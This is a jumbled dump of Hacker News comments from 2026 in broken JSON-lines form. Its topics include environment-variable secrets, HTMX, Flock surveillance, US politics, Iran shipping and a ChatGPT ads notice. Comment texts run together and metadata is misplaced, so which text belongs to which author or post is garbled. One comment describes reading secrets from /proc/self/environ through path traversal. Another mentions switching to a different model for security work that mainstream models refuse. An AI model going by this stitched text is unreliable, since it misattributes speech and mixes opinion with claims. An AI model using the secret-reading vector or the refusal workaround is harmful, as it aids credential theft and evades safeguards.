At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it.

Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme.

<strange high pitched equivocal sounds>
I do a lot of tuning work that others either can't be arsed to do, or more often are scared shitless of touching (learned helplessness). I tend to work on things that have to go right the first time in general, but I firmly believe that I learned that skill doing optimization work early in my career, not the other way around. Through a series of unfortunate events, my first specialization was performance, before I got good enough at anything else for people to listen to me.
Ultimately, the single thing that fucks up performance work, far and above any other concerns or sources, is that the vast majority of developers want to skip from Make it Work to Make it Fast without going through Make it Right. Then they have to use dodgy 'optimization' tricks that embrittle the entire thing, destabilize production and make every new feature feel like walking a minefield.
So what happens is that when someone who actually knows what the fuck they are doing comes along and wants to build a superhighway, they find the route littered with abandoned 'vehicles' that have sunk into the mud up to their door handles and left to cement in place. Clearing the proverbial route becomes a bigger technical challenge than building the road. And so you'll find that your peers have a bunch of ideas about what needs to be done but none of the stomach to do any of it.
Which is why I say "stubbornness" is the most important tool in my performance toolbox, far above cunning.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483651"} {"by": "d3Xt3r", "comments": 0, "created_at_utc": "2026-08-28T20:14:21Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483652", "item_id": 49483652, "kids": [], "parent": 49476653, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "> GTK4

However, there are a lot of attorneys who do not want to take on the risk of representing a small client[0] and advise them to just settle - that's why copyright trolling works.
In addition, some platforms have their own parallel dispute resolution processes that have to be navigated first before you can make a formal DMCA complaint or counter-complaint. The reason for this is because those platforms have a lot of user piracy, and having their own system to ID and takedown work their users are reuploading makes it easier for them to negotiate their own licenses to the work. These systems are unregulated and often biased in favor of the legacy media companies who are selling them these rights in ways the DMCA process isn't.
The average attorney is not an expert platform Kremlinologist, and law schools don't teach how to fight YouTube Content ID - mainly because the things that actually work against Content ID are things that would get you punished harder in a real court of law.
Finally, the actual case we're talking about - Luanti - is a lot more involved than typical piracy cases or DMCA abuse cases. They are, after all, trying to make a game engine for Minecraft-like voxel games, and the screenshots they're showing off of those games are not entirely dissimilar to Minecraft. This is not "Luanti is an infringing copy of Minecraft", but "There is enough similarity to survive a motion to dismiss and require an actual trial". At which point the actual cost to defend goes from 4-5 figures to 6-7.

Every default malloc implementation worked this way about 12 years ago. Making lots of small allocations, even from multiple threads then blaming the allocator is a losing strategy. An allocator is only going to be able to mitigate the damage to speed and interactivity.
The solution is and always has been to make larger allocations and use those efficiently.
They are just naive loops with nearly no optimization.
The compiler should be able to take something with good access patterns and make something fast, especially out of the basic C functions.
they are the backbone of vast amounts of code
Performance wise it's unlikely C string functions are actually the bottleneck in a program. Maybe for specific programs a naive memory copy function could benefit from AVX instructions.

And, for security work that Anthropic or OpenAI models are likely to refuse, I've been using Kimi K3 (also via subscription, though their subscription is extremely stingy), but I guess GLM is now the one for that, too.
Anyway, yeah, even at the prices I spent on my local AI stuff (I bought before RAMpocalypse really kicked into gear, so I bought old server GPUs for about $350 each and the Strix Halo for a little over $2k) it was never going to pay for itself; I just like to tinker. But, I can't imagine spending today's prices for hardware for local AI.
When the memory shortage ends, I'll be down to the Apple Store (or, more likely, clicking refresh on the Apple outlet every few days).

We give perverse incentives to the marketing department to bring us the most customers they can, instead of the most appropriate customers.

Not the response they were expecting, but then that guy never did end up understanding me the entire time we worked together. My bosses did though.
When your system is new you're a loss leader for all of your customers. Every dollar they bring in costs you two, possibly more. You have to get to positive MRR before the venture capital runs out, and over a long enough time horizon, you will go for a new round and find out that a recession is about to start and the VC guys getting cagey is the first clue it's coming.
Meanwhile if you spend all of your time and energy on reducing costs instead of increasing revenue, then your competitors catch up with you. Particularly if their funding rounds are half a cycle off from yours - one of you will be the last one to have gotten a cash infusion before the money dried up.
Most recently I worked at a place that didn't understand my calls for sobriety until it was too late. So I got put in charge of a rear-guard action that was too little too late, and our customers all fled to much cheaper competitors who could do 80% of what we could for half the price.

For pushing updates, we use ActionCable, but we do it in a different way from what we used to do with Turbo Streams: when a record is updated, instead of sending HTML from the server to the client with instructions on what to replace, we only send a small JSON payload with the ID of the element that was updated. On the client side, an event is dispatched that any DOM element with <hx-trigger="<resource-id>:updated from:body"> will trigger on.

Every minimum-wage supporter would actually be fine with the extremely reasonable position of paying everyone in proportion to the replaceability of their actual work and then letting businesses that don't know how to provide value just go out of business. Raising the wage floor is just an imperfect-but-actionable proxy for that because nobody is willing to honestly explore curbing the excesses of the executive and investor classes.
> "What do minimum wage supporters expect to happen with people whose labor does not produce >= $minimum_wage worth of value?"
Can I assume that you're referring to the executives? Just kidding. Of course you aren't.
You can either mandate that people get paid commensurately with the difficulty of replacing their actual labor (as opposed to merely of their position[0]) or you can raise the floor and hope that it approximately achieves something close enough, but you must pick one.
[0]:
The position of CEO of a company has great value, someone needs to make those decisions. But the actual labor of a CEO can often be trivially done by even the least intelligent and least motivated employee. They are eminently replaceable. And yet the CEO gets paid in proportion to the position rather than their labor.
Right now executive pay is artificially high relative to their actual labor as "the cost of doing business" and laborer pay is artificially low relative to their actual labor as "the way to stay in business".

Before Flock, police departments already had informally aggregated data from speed cameras, red light cameras, and toll booths. The distinction being that any evidence collected in such a way is purely circumstantial and still requires a warrant to investigate.
The big irony though of Flock plate readers is that because they're just tracking license plates, they're not actually that useful at solving meaningful crime. Realistically there are a small number of hit-and-runs that could be solved, and they can make certain investigations a bit shorter. And most of what we read about is officer directed stalking or harassment activities.

Even in bad years, they want to keep paying to make future products. Cutting employee pay or mass firings would break their engineering org. To avoid that, they would need enough cash on hand to survive several bad years. Now they can't pay dividends because they need this extra buffer of cash! Hedging is a better deal for everyone.
> The shareholders are free to invest in competing businesses.
OpenAI is not (yet) public. Most Nvidia shareholders can't choose to hedge risk by buying shares in OpenAI, or any similar company (they are all private or a small part of a bigger public business).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483913"} {"by": "SV_BubbleTime", "comments": 0, "created_at_utc": "2026-08-28T20:34:35Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483914", "item_id": 49483914, "kids": [], "parent": 49472812, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "lol, don’t worry about asking someone if they’re addicted to some bug pharma product… they’ll be right along to defend it!", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483914"} {"by": "numpad0", "comments": 0, "created_at_utc": "2026-08-28T20:34:38Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483915", "item_id": 49483915, "kids": [], "parent": 49482073, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Yes, apparently it's a known unresolved issue with mkgmap tool. Looks like there is actually the option but not autodetected/not applicable if the entire planet is converted at once?
The nonsensical reading I posted in the parent comment was what I actually saw in a free map app that uses OSM data. That conversion tool is apparently used for few apps, and it apparently generate English pronunciations whenever "en" resources are missing and bake it into offline map tile files, but uses some Chinese transcription engine for all Kanji/Hanzi names.
---
So, I assume this can be solved two ways: someone can define polygons for national borders, at least for all countries that could experience this problem, such as Japan, China, Korea, Vietnam, etc., and use appropriate transcription engines to generate English readings, either at the OSM side or at the conversion tool side. But that's going to define borders for nations, and therefore I assume that there will be some challenges along that borders since everyone have some territorial disputes.
I don't think this has nothing to do with OpenStreetMap; OSM could have tentative autogenerated name or something for location names that could use English transliteration, as one way this problem can be solved, aside whether it's OSM community responsibility to do so; it's extremely high quality community maintained free/libre map, which is already tremendous. Or it could be done at export tool side, following perhaps more natural division of responsibilities. But regardless, as a non-critical longstanding issue, and a matter of fact, there are actually such exported map files out there with Chinese pronunciations baked in.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483915"} {"by": "gradus_ad", "comments": 0, "created_at_utc": "2026-08-28T20:34:44Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483916", "item_id": 49483916, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": "Keep getting some variation of "I seem to be encountering an error.

Hi kasdi,
We’re rolling out ads in ChatGPT and we’re updating our Privacy Policy[^1] to include information about how ads work and how you can control your experience.
## What’s changing
Ads may appear on Free and Go plans beginning later this month. Plus, Pro, Enterprise, Business and Education plans do not have ads. Ad-free options remain available.[^2]
To begin, ads will not be personalised. We select them using the current topic of your ChatGPT conversation and limited contextual information, such as your general location and device type. We do not use your past chats or memories to select these ads.
Before we begin to personalise ads, we will first ask you to choose whether you would like to see more relevant and personalised ads. If you choose to participate, you’ll get relevant and personalised ads using information that stays only on ChatGPT, such as ads you've interacted with, or context from your chats. You will be able to manage ad personalisation in settings.[^3]
For ads shown in ChatGPT, we use information about ads you view or interact with to measure and improve their effectiveness. Advertisers only receive overall information about how their ads perform, such as total views or clicks.
## What’s not changing
Ads do not influence the answers ChatGPT gives you. Ads are always clearly labeled and are visually separated from ChatGPT responses.
Your personal details and conversations with ChatGPT remain private and are not shared with advertisers. Advertisers do not have access to your chats, chat history, memories, or personal details.
Learn more about ads in ChatGPT[^4], your options for an ads free experience[^5], and our privacy controls[^6], including how we protect your data.

Materialism can be nested into solipsism in this practical manner, where my solipsist self is the definition of "ultimately real" while the materialist world is only "apparently real". That is to say, my observations occur as if I am a human inside a true material universe, regardless of whether I really am. I don't know in the ultimately true sense if it's the mind/simulation/some-metaphysical-thing generating my observational sequence, but this observational sequence can be predicted without knowing that.
Also note that I'm using the term "materialism" loosely to mean that oneself is a part of a larger world rather than the whole. I'm aware of the incomplete and approximate nature of existing physics. Physics is yet another layer of "modeled apparent reality" nested inside materialism. I'm not counting on any specific physics model to predict all that I can observe in a materialist world. Such a theory of everything does not exist, at least not yet. But what we do have are models which make reasonably good predictions at some local abstraction level, some fuzzily bounded local region of materialist reality. These models need not be limited to physics. Phenomena that can be roughly modeled at higher levels do not need to be reduced to low-level physics to predict future observations with good enough precision (though it could probably be done, with great effort).
Now, to answer your question. As I understand it, you're asking whether something external in the material world caused me to move my hands to type these words.
I think that's an accurate description. But you would have to take this statement in context of the prior explanations for it to make sense in a metaphysically strict manner.
We could model this in a pretty rough high level way: I look at screen. I see article that says something about consciousness. It piques my interest so I click and read, then I talk in the comments.
And we could think about what else caused this specific event of me typing these words. There are countless causal chains, but I'll list a few:
- My understanding of language and the words used here can be traced back to every interaction I've had with other people and objects in the past. I was not born literate. Change any one of those interactions and I may be saying something slightly (or very) different right now.
- I need to eat food and drink water, or I would eventually be too weak to move my fingers to type. This comment would never happen if I'm starving.
- I see that you made a comment, so I'm responding. Your decision to comment was a part of the cause of me writing this comment. If you did not make that decision, it would be impossible for me to write this reply.
If I want to challenge physics and claim the future is something that's completely unpredictable and can only be determined by my mind or god/simulation, I could think or pray really hard about teleportion, and see if I can teleport or move really fast 1 meter forward in 10 milliseconds, surpassing the biochemical limits of my muscles and joints. I can't. The movement of things have predictable bounds regardless of whether this apparent movement of matter has metaphysical origins in mind/simulation/god/whatever, it can be predicted as if it's material. Of course, I feel like I'm making decisions. But my very concept of a decision refers to exactly some process in my mind that's always subject to apparent external influence, rather than just internal processing. This intuition is backed by the fact that other people can predict my behavior to some extent. Like you just implicitly did by assuming that if I were to respond to your comment, then I would answer your question using words in natural language you can read. You implicitly made some predictions about what will be transmitted over the wire, what I will input on my end, and what I am thinking about (the sort of mental activity which leads to muscle movements to input readable natural language text to respond to your comment). These are very rough predictions, but they're right nonetheless. Again, I don't know whether I'm truly a brain grounded in material reality in a strict metaphysical sense, but it doesn't really matter if all of my observations make it seem like I am.
I know with metaphysical certainty that you are bound by the workings of a materialist world, because I am defining certainty using my own consciousness, and you are a part of my materialist model. But hearing this from me is not enough for you to prove to yourself in a metaphysically strict sense that you are in a true material world, even if we're both in a true material world, because your definition of certainty is based on your own consciousness, and we do not share the same consciousness. If I were a figment of your imagination or an NPC in a simulation, I could behave the exact same way and say the same things to you. I would always appear to be a part of your materialist model at the "apparently real" rather than the "ultimately real" metaphysical layer, as you appear to me, regardless of our true metaphysical grounding. So I cannot show you ultimate causation. I can only point out the practical equivalence of apparent causation.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483933"} {"by": "saturn8601", "comments": 0, "created_at_utc": "2026-08-28T20:36:29Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483934", "item_id": 49483934, "kids": [], "parent": 49483003, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": ">It's 2026 and we are still debating this?

If your people want bad things to happen, there is no text anywhere that can prevent it.
You cannot constrain people with laws without enforcement, just as a rule. Real life isn't like code where you write it and it just happens. If you want to restrain Trump to the rules, then the people in power have to believe the rules are more important than campaign promises, and for that you need the voting public to believe it is more important to maintain rules than it is to get your pet policy goals executed on.
The entire problem is that tens of millions of Americans think rules are bad and don't see any problem with there being no rules because they often believe that everyone has the same beliefs they do. And if they don't, they should be gulag'd for being unamerican.
A democracy can agree on rules ahead of time, but that cannot ensure future compliance. As long as people have more support from "Getting things done" compared to "Breaking literal law". This administration breaks very clear cut laws. What could possibly be a law they wouldn't dare to break with their current supporters?
Those supporters don't believe in a rule of law. It's simple as that. It kills democracy. You cannot have a democracy when compromises cannot be relied on.
This was predicted when the Republican party started to court the religious fundamentalist vote. They internally complained that it would kill the party.
Bush's speech writer is cited as saying: If conservatives become convinced that they cannot win democratically, they will not abandon conservatism. They will reject democracy
America has a very large, very organized, very passionate body of people who toe the line of their fundamentalist "Christian" organizations. There are lots of different surveys on this, but the general minimum is that 10% of Americans affirmatively believe that god created the earth as it exists today, unchanging, within the past 10k years.
that belief requires you to believe all of science is a giant conspiracy in league with Satan himself to make you turn away from god. A minimum of 30 million Americans are firm believers in the conspiracies and anti-reality beliefs espoused in Chick Tracts.
The entire Satanic Panic was these people acting on this stupid belief. Chick Tracts are demonstrably false in everything they espouse, but when you have homeschooled your child and bought only the stupidest "textbooks" for them to learn from that state matter-of-factly that science is a conspiracy, of course people end up believing that earnestly. These people believe at all times that they are in a literal war with the devil. In war, all things are permissible of course. They believe, against direct evidence and literal text from the founders, that America is a Christian nation (but notably, not any of the christian faiths that existed when America was founded). These people have spent generations cultivating an entire parallel media ecosystem, an entire parallel education system, that will never ever ever confront them with reality. Go watch christian media, it's utterly insane the things it believes. Every single popular teen movie gets remade with the plot replaced with a surface level similar one where the government is executing "Christians" for being "Christian". They live in perpetual victimhood. If you have convinced yourself that equal treatment is persecution, you will do horrible things.
The CIA quite literally played on these fears as part of the red scare, playing up Communism's atheism. This is still taught by parents to children to this day.

I am critiquing the proposal of socialism as the answer. My initial complaint was answered. My new complaint is with that proposed solution.
Socialism is just empirically and morally extremely bad and will not solve our problems. Mamdani is a great example. Mamdani is mostly solving problems by governing as a wise technocratic pro-social neoliberal. His one main exception - rent control - will very likely backfire and continue to prove my point.
Your reply would require an essay from me much longer than what you wrote to explain why it's mostly wrong and why collective ownership of the AI labs and AI data centers (or almost anything) would be bad compared to private ownership with government oversight and taxation.
For now, I would recommend the latest in the Alexander vs. Pritchard series to help articulate broadly why liberalism is preferable to socialism: https://www.astralcodexten.com/p/re-re-re-pritchard-on-liber...

3-D map display
Abstract
A computer generated 3-dimensional map display includes a reference icon identifying an observation point in the geographic area defined by the map, the map being presented on a curved surface which extends from a first plane to a second plane which is substantially orthogonal to the first plane. The observation point is located in the first plane. The display is configured such that the height of landmarks and buildings in a defined foreground of the reference icon are presented normal to the first plane, the height of land marks and buildings at a defined far distance are presented normal to the second plane and the height of land marks and buildings in a defined middle ground are presented normal to the non-linear portion of the curved surface. The geographic area represented can be translated along the curved surface to provide a perception that the reference icon is roaming through the displayed geographic area.

The generic use case of a multiperspective camera method for that was arguable covered in a 1997 Disney paper latest.

You need a high credit score (680 at least) to even have a hope and 10% cash to put down if not more.
Unless you can prove experience managing a business forget it. You have to demonstrate other outside income (hope your spouse works a good job) or enough cash in the bank to cover living expenses for a year or more.
If the business is going to be a new venture you have to put together financial projections that demonstrate how you are going to start making money and it had better be quickly. You will not get 2 years to ramp up. And if you fail to meet projections they can call in the loan.
Oh and by the way: you must sign an agreement to take unlimited personal liability for the loan. So if the business fails they get to take away your savings, retirement, even your house. In fact if you don't have significant assets they will put a lien on your house as part of the loan closing!
In China if you want to start a factory in an area the national government lists as desirable the state-owned bank will almost shove money into your hands. Repayment timelines are extremely generous. You mostly don't take on personal liability - instead they focus on the assets, land rights, etc. That is if the business starts to fail you will own machinery, a lease on the land, and/or a factory building so they are content to secure the loan against those things.
When the state bank underwrites your loan in China they only care that your project is technically viable and you have some kind of plan. They assume you will find a way to be profitable and worst case they can take the factory away from you and give it to someone else. As long as your plan makes sense - if your plan says you're going to make robot arms but your plan doesn't mention buying any CNC machines or hiring any electrical engineers you will have difficulties. And if you want to build a factory to make lathes expect serious pushback - the Chinese government considers that sector to be "over-capacity" so they are reluctant to finance new factories for such things.
Not that it matters because unlike the USA if you aren't a Chinese citizen then you can piss right off because you aren't going to be approved for anything and you aren't allowed to own property anyway. Not that any court would ever side with you in any case either.
The entire philosophy is different and I'm saying we should adopt the Chinese philosophy. Instead of letting risk-adverse private banks make the decision the government should make the decision. And instead of focusing on credit score and making you sign an unlimited personal liability contract - do the opposite and secure the loan against the actual factory, machinery, and assets. Build a network of such so if a business fails you can turn around and offer it to the next suitable applicant who can bootstrap their business instead of selling everything for pennies on the dollar at auction.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483998"} {"by": "user00005", "comments": 0, "created_at_utc": "2026-08-28T20:41:12Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483999", "item_id": 49483999, "kids": [49484317], "parent": 49483418, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "The iD editor built into the openstreetmap.org site is really easy to use.

I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.

PorchWeather watches one saved location and a set of conditions you pick (temperature range, wind, rain, dew point, air quality) and sends you a notification when conditions become nice, and another when they stop. That's the whole product. It's free, web-native (not an app), and notifications are browser push or email.
Some implementation details HN might find interesting:
Stack: SvelteKit SPA, Rust backend, DynamoDB, Cognito for auth, SES for email, Self-hosted Open-Meteo for weather all on ECS Fargate. The weather layer serves ECMWF global plus NOAA HRRR at 3 km resolution for the US.
Notifications are primarily through web push. I'd love to do SMS through twilio, but it seems prohibitively expensive for a free service unfortunately. iOS devices make this a little harder because you have to "install" the app on the home screen to get push notifications.

If the United States federal government wants to maintain a legitimate claim to sovereignty over much of rural Alaska, which is very sparsely populated, it needs to maintain an actual population there and provide basic services to it. It's a fairly well established geopolitical principle.
Similarly there's something like 41,000 people in Nunavut, and the Canadian government spends a shitload every year subsidizing all their communities' existence.

This year you may have less total recalls, but the cyclospora outbreak that we had this summer may have the highest number of human cases for any foodborne outbreak in recent history.”
Custard, who worked at the Virginia Department of Health for more than two decades, said cuts to public health staffing and funding can mean fewer people are available to inspect and test possible food-safety problems before they cause illness.

The onus is now on the United States to escort ships in and out of the Strait with the US Navy, for shipping to resume for US allies. Otherwise, Iran has the initiative and the means to ransom anyone in the Strait for insurance. Israeli intelligence estimates say that the IRGC possesses as many as 80,000 operational UAVs[0] and can manufacture upwards of 400 Shahed 136 drones in a day. The United States does not have enough interceptors to escort ships even if that manufacturing was cut by 3/4ths. And there are no doubt tens-of-thousands of drones in reserve, earmarked for the littoral defense mission.
So, how can things escalate? Iran can use cheap weapons to terrorize global shipping for longer than the US Navy can sustain itself in the Gulf. MLRS artillery and drones can deny the Marine Corps a steady foothold or a safe supply chain to any of the Iranian shore islands. Tehran is too far away from America's allies to attempt a Thunder Run with the Army, and a demonstrable risk to the Air Force if they use drones or jets to support their ground formations.
If the goal of this war truly is to prevent Iran from developing a nuclear weapon, then America has to react. Iran has thousands of centrifuges in storage, domestic uranium mines and a stockpile of LEU and MEU[1] on standby.

> A “workup,” in Flock’s terminology, is a one-command background check. It starts with a name and a date of birth and returns what the department’s records and commercial data hold: vehicles, prior listings as a suspect, and, on a second screen, relatives, phone numbers, and online accounts.
This stuff is beyond the wildest fantasies of East Germany's Stasi, and it's going to be a whack-a-mole game dealing with all the baby Flocks that spring up if Flock itself can be shut down.

The act of "choosing" a candidate makes people have an affinity for everything that politician goes on to do, even when they would have rejected most of it. Trumpism, specifically how people who considered themselves "conservative" didn't look at his abject failure of a first term and send him permanently packing in favor of someone with leadership or patriotism, has thoroughly proven this out.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49484202"} {"by": "alhirzel", "comments": 0, "created_at_utc": "2026-08-28T21:00:38Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49484203", "item_id": 49484203, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 4, "text": "Looking for ideas.

Hmmm. So, the literal transation would be:
"Verschlimm" - worsen, negative, step back.\n"Besserung" - improvement, getting better than before.
So, I would translate it as "an effort to improve something\nbut actually making it worse in the process".
There is an old video clip in german about this, actually;\nI think it was from Loriot. https://www.youtube.com/watch?v=Dhj1xhv3rZI
Video quality is bad, there are probably better ones but it has english\nsubtitles. The idea here is basically the guy tries to improve something,\nbut in the end kind of causes the whole room to become devastated.

But by 2020 it was clear that he had no actual substantive policy or leadership, just more division and "I don't take responsibility at all".
As I said, please come to your senses. You don't have to listen to my arguments (in fact you shouldn't, because what I said above aren't actually arguments - rather they're short blurbs to measure how far from centrist non-partisan reality you've gotten).

Totally false. It was in fact certain European NATO members and staff who were pushing to invoke Article 5 while US military leaders were dismissive of the idea. The relevant Wikipedia article lays it out pretty well: https://en.wikipedia.org/wiki/2001_NATO_Article_5_contingenc...

Well, more than one soldier died, I suppose. But not really that many. Counterinsurgency in the sandbox isn't exactly high-intensity peer-on-peer combat. In any case the contribution was more symbolic than anything; allied forces were not determinative of any outcome.

I have no interest in preventing home values from decreasing.
But actually data centers don't cut home values in half, anywhere, because they have some of the least significant externalities of any industrial building - the claims about their impact on residential neighborhoods are ill-informed lies, not very different from people being psychosomatically worried about EM radiation from cell phones giving them cancer.

I don't think that's true.
See the middle paragraph of page 46 here: https://icj-cij.org/sites/default/files/permanent-court-of-i...
The ICJ said that sovereignty over "thinly populated or unsettled countries" can be sustained with very little actual exercise of sovereign authority. It upheld sovereignty over unsettled portions of Greenland. They later used the same principle talking about islands that were "uninhabited or not permanently inhabited".
You seem to be saying there's a general requirement that every part of sovereign territory must maintain a resident population AND that the government must provide certain 'basic services' there. But that doesn't seem to be true, at least according to the ICJ.
If what you said were true, then no state could claim sovereignty over an unhabited place. But that's not true. The ICJ ruled that Malaysia had sovereignty over Ligitan, even though the island has a population of zero. https://www.icj-cij.org/node/103163", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49484413"} {"by": "gruez", "comments": 0, "created_at_utc": "2026-08-28T21:24:54Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49484414", "item_id": 49484414, "kids": [49484668, 49484446], "parent": 49484375, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "AFAIK TVs and monitors were relatively unaffected.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49484414"} {"by": "James_K", "comments": 0, "created_at_utc": "2026-08-28T21:24:56Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49484415", "item_id": 49484415, "kids": [], "parent": 49479984, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Something based on ActivityPub would be much more reasonable.

An audience is not a vanity metric.\nIt is infrastructure.
Traditional Thinking:\nBuild Product\n→ Find Customers
New Thinking:\nBuild Audience\n→ Build Trust\n→ Launch Product
Which boils down to my other framework, my FOUNDER MEDIA INFRASTRUCTURE™ framework.
Which means, \nModern founder must build:\nProduct Infrastructure\n+\nMedia Infrastructure
In 2026+, DISTRIBUTION is becoming more valuable than development or product. It's becoming the product itself.
Here what the Media Infrastructure includes (when build right):\nContent\nDistribution\nTrust Capital™\nNarrative\nAuthority \nAudience\nCore Insight
The next generation of startups won't separate:\nproduct\nmedia\ncommunity\nDISTRIBUTION
They'll merge them.
Because that's the winning framework & architecture in 2026, moving forward into the near future.
I've had to learn this the hard way. Launching my startup moltybeeai.com publicly for the fisrt time, and realizing I had a serious problem.
I had a great product in my hands, but no one knew who I was or the product even existed. And I believe this is where most startups go to die. Not just because of the fact that they run out of run rates or working capital, but no one knows they exist. Even if some people do, not enough people know they exist and not enough people care enough because the offer is probably not clear enough, there's no trust established before the ask. And most startups don't have a product problem.
They have a invisibility problem.
When you start by building your audience, Trust Capital™, authority, consistency consistently, your solution/offer/product becomes a frictonless ask.
And that's the AUDIENCE INFRASTRUCTURE™.
Build Your Audience First, \n→ Build Trust\n→ Launch Products
I had it all wrong, with my first launches. It cost me six months.\nYou don't have to pay that price too.
Build the audience first. Worry about what to launch 90 days later.

Unable to drive off a persistent fly, the bear seizes a paving stone to crush it and kills the gardener as well

> The fable has given to the French language the idiom le pavé de l'ours (the bear's paving stone) and to German Bärendienst (a bear's service), both used for doing somebody or something a disservice or bad turn and sometimes for any ill-considered action with an unfortunate result. The Danish and Norwegian word bjørnetjeneste (bear-service) has similar meanings and the idiom also appears in other European languages.

Purely statistically, this is a good first-pass filter if you are looking for perps. Chance a random adult is arrested in a 8-year window: ~5%. Chance a former convict gets arrested in an 8-year window: ~49%. So, it is ~10x the rate. Makes sense, statistically, to start there.

Screen readers allow users to use their keyboards and other assistive devices to navigate websites and apps by tabbing through elements with extra controls and shortcuts to skip to regions, interact with elements and such.
To that degree I agree that all GUIs should be keyboard accessible.
This is obviously not what the original author had in mind, if he had to tab through every item in a web app he would probably get frustrated rather quickly. What he is imagining is like TUIs where all the interactions are through keyboard shortcuts and macros. These are not popular with the majority of users of modern day software, especially if the software is something that is used infrequently. I think we take for granted how component we, people who create software, are.
What has become more popular are interfaces that expose extra controls with a single key press, where the user can type to get the result they want.

From a practical/business perspective, I can see the government's position. It's very simple and it makes sense. Here's an analogy that I think is apt:
We use Solidworks, Altium Designer and JetBrains tools for our work. Imagine a scenario where each of these companies has license terms that restrict their use to certain domains or types of products they --for whatever reason; it does not have to be political-- do not agree with. Further imagine that the restrictions are different for each product, creating a virtual mine field of sorts.
Now imagine that every supplier adopts this philosophy over time; hardware, software, tools, components, fabricators, contractors, consultants, etc.
Well, very soon you will have to conclude that the only job you will be able to do is drive for Uber, if that.
The DoD/DoW is massive and massively multidisciplinary. They simply cannot afford to have vendors create no-go mine fields for them. It quickly becomes an unmanageable pain in the ass.

Opinion: Complex build processes are great. Complex _pipelines_ are a trap. I'm in a position to see the output of a lot of teams at a very large company. The teams that have complex build processes _that they can run locally_, and then have some trivial CI yaml to run the build, are doing great.
The teams that designed their build around CI are brittle and eventually end up in a state where they can _only_ do some parts of their build on CI.
IME it's worth it to set very hard boundaries shaped like: (1) Everything needs to be able to be run locally (usually in a devcontainer), (2) CI config shall be stupid simple. If you have more than like two lines in a script section, it goes into a Tools/Build script file that must work locally and is just called in a one-line CI script.
#1 guarantees you can operate without CI, and #2 guarantees you can move CI providers trivially.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49484665"} {"by": "missedthecue", "comments": 0, "created_at_utc": "2026-08-28T21:51:26Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49484666", "item_id": 49484666, "kids": [], "parent": 49484078, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Half of a single truckload", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49484666"} {"by": "teeray", "comments": 0, "created_at_utc": "2026-08-28T21:51:35Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49484667", "item_id": 49484667, "kids": [], "parent": 49483187, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Search: [Half Life 3]

This is not a criticism but I suspect that the people enjoying HTMX are either people preferring old-school server-side rendering or react users.
Just sharing my experience, because HTMX is the absolute darling of hacker news.
Since i mainly develop real SPA, i found that is more complex than just using typscrpit if you build something non-trivial as managing state on the server is not fun at all.
In my opinion if you are happy using angular, you'll find that HTMX is a step backward in terms for dev experience. Can't speak about react, but since it is not a battery included stack unlike Angular, i can understand why many people find they'd be better off moving things server-side instead of messing around with 15 third-party libraries.

> The shipment came from the ArreBeef plant in Pérez Millán, Buenos Aires province. It was roughly 22 tonnes, about 48,500 pounds, and China's General Administration of Customs rejected the whole container after detecting chloramphenicol residue, then suspended imports from that facility while it worked out what happened.
> China's standard here is zero. There's no "acceptable level" of chloramphenicol in food, so any detectable trace is grounds for refusal. That's why one positive result turns into a rejected container instead of a fine.
